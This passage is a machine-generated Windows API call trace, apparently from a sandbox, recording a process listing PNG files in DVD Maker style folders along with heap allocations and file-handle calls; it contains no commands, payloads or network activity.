RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa117c8 [0068.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa10098 [0068.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.138] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbb7319, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbb7319, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.139] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa117e8 [0068.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa101a0 [0068.139] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.139] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 1 [0068.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.139] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.139] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11808 [0068.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa102a8 [0068.139] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.139] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 0 [0068.139] GetLastError () returned 0x12 [0068.139] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0068.139] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0068.139] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.139] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6faf8c48, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6faf8c48, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0068.139] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb1eda5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb1eda5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0068.139] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fad2aeb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fad2aeb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x43e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="colorcycle.png", cAlternateFileName="")) returned 1 [0068.140] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb44f02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb44f02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0x0, dwReserved1=0x0, cFileName="huemainsubpicture2.png", cAlternateFileName="")) returned 1 [0068.140] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc29730, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc29730, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.140] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.140] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.140] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.140] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.140] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbb7319, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbb7319, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.140] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 1 [0068.140] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 0 [0068.140] GetLastError () returned 0x12 [0068.140] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.140] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0068.141] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa0ad40) returned 1 [0068.141] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0068.141] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LayeredTitles", cAlternateFileName="")) returned 1 [0068.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0068.141] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.141] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0068.141] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0068.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa129b8 [0068.141] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa129b8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa129b8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0068.141] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa129b8) returned 1 [0068.141] NtClose (Handle=0x124) returned 0x0 [0068.141] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0068.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0068.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.142] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0068.146] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.147] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70bee7b2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70bee7b2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0068.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.147] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.147] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0ad40 [0068.147] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11828 [0068.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa103b0 [0068.147] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.147] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c60bc9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c60bc9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0068.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.147] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.147] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11848 [0068.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa104b8 [0068.147] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.147] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c1490f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c1490f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x0, dwReserved1=0x0, cFileName="blackbars60.png", cAlternateFileName="")) returned 1 [0068.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.148] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.148] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11868 [0068.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa105c0 [0068.148] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.148] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70abdcca, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70abdcca, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fed, dwReserved0=0x0, dwReserved1=0x0, cFileName="layers.png", cAlternateFileName="")) returned 1 [0068.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.148] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.148] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11888 [0068.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa106c8 [0068.148] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.148] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.148] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.148] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa118a8 [0068.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa107d0 [0068.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xcc0) returned 0x9fa458 [0068.149] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa11d30) returned 1 [0068.149] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.149] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.149] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.149] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa118c8 [0068.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa108d8 [0068.149] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.149] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.149] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.149] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa118e8 [0068.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa109e0 [0068.149] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.149] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b300e1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b300e1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.150] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, 